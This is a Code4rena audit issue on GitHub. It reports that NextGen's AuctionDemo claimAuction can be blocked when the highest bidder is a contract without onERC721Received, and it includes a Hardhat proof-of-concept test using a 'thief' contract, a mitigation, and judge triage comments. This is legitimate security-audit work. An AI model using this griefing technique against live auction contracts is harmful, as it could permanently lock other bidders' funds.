Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

claimAuction can be DOS if highestBidder is a contract that doesn't implement onERC721Received #565

Closed
c4-submissions opened this issue Nov 8, 2023 · 4 comments
Labels
2 (Med Risk) Assets not at direct risk, but function/availability of the protocol could be impacted or leak value bug Something isn't working duplicate-739 partial-50 Incomplete articulation of vulnerability; eligible for partial credit only (50%)

Comments

@c4-submissions
Copy link
Contributor

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/hardhat/smart-contracts/AuctionDemo.sol#L112

Vulnerability details

Impact

The issue here stems from the the fact that the AuctionDemo contract uses the push pattern instead of the pull pattern.

In this case if the highestBidder is a smart contract wallet, but doesn't implement IERC721Receiver or the onERC721Received function, then the claimAuction function will fail causing permanent loss of funds to all bidders in the auction.

Proof of Concept

The following call will fail in this scenario

IERC721(gencore).safeTransferFrom(
                    ownerOfToken, 
                    highestBidder, 
                    _tokenid

POC:

it.only("#auction fail", async function () {

      // Create Collections
      await contracts.hhCore.createCollection(
        "Test Collection 1",
        "Artist 1",
        "For testing",
        "www.test.com",
        "CCO",
        "https://ipfs.io/ipfs/hash/",
        "",
        ["desc"],
      )

      // Add data
      await contracts.hhCore.setCollectionData(
        1, // _collectionID
        signers.addr1.address, // _collectionArtistAddress
        2, // _maxCollectionPurchases
        10000, // _collectionTotalSupply
        0, // _setFinalSupplyTimeAfterMint
      )

      // Add minter contract
      await contracts.hhCore.addMinterContract(
        contracts.hhMinter,
      )

      // Add randomizer contract
      await contracts.hhCore.addRandomizer(
        1, contracts.hhRandomizer,
      )

      // Set Collection costs
      await contracts.hhMinter.setCollectionCosts(
        1, // _collectionID
        0, // _collectionMintCost
        0, // _collectionEndMintCost
        0, // _rate
        1, // _timePeriod
        1, // _salesOptions
        '0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B', // delAddress
      )

      await contracts.hhMinter.setCollectionPhases(
        1, // _collectionID
        1696931278, // _allowlistStartTime
        1696931278, // _allowlistEndTime
        1696931278, // _publicStartTime
        1796931278, // _publicEndTime
        "0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870", // _merkleRoot
      )

      // Cache mint index
      const mintIndex = await contracts.hhCore.viewTokensIndexMin(1) + await contracts.hhCore.viewCirSupply(1);
      const auctionEndTime = 1796931278;

      // Start mint and auction
      await contracts.hhMinter.mintAndAuction(
        signers.owner.address, // _adminAddress
        '{"tdh": "100"}', // _tokenData
        0, // salt
        1, // _collectionID
        auctionEndTime, // auctionEndTime
      )

      // join auction
      await contracts.hhThief.connect(signers.addr4).prepare(mintIndex, 1);
      await contracts.hhThief.connect(signers.addr4).joinAuction({ value: 150 });

      // Skip to auction end time
      await time.increaseTo(auctionEndTime - 2);

      const auctionContractBalanceInit = await contracts.hhThief.getBalanceOf();
      console.log("INIT auctionContractBalance: ", auctionContractBalanceInit);

      // NFT owner must approve
      await contracts.hhCore.connect(signers.owner).approve(await contracts.hhAuction.getAddress(), mintIndex);

      // Claim auction
      await expect(contracts.hhAuction.connect(signers.owner).claimAuction(mintIndex)).to.be.reverted;

    })

Tools Used

Manual

Recommended Mitigation Steps

  1. Implement pull over push pattern

Assessed type

DoS

@c4-submissions c4-submissions added 2 (Med Risk) Assets not at direct risk, but function/availability of the protocol could be impacted or leak value bug Something isn't working labels Nov 8, 2023
c4-submissions added a commit that referenced this issue Nov 8, 2023
@c4-pre-sort
Copy link

141345 marked the issue as duplicate of #486

@c4-judge
Copy link

c4-judge commented Dec 1, 2023

alex-ppg marked the issue as not a duplicate

@c4-judge
Copy link

c4-judge commented Dec 1, 2023

alex-ppg marked the issue as duplicate of #1759

@c4-judge c4-judge closed this as completed Dec 1, 2023
@c4-judge c4-judge added duplicate-1759 duplicate-739 partial-50 Incomplete articulation of vulnerability; eligible for partial credit only (50%) and removed duplicate-1759 labels Dec 1, 2023
@c4-judge
Copy link

c4-judge commented Dec 8, 2023

alex-ppg marked the issue as partial-50

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
2 (Med Risk) Assets not at direct risk, but function/availability of the protocol could be impacted or leak value bug Something isn't working duplicate-739 partial-50 Incomplete articulation of vulnerability; eligible for partial credit only (50%)
Projects
None yet
Development

No branches or pull requests

3 participants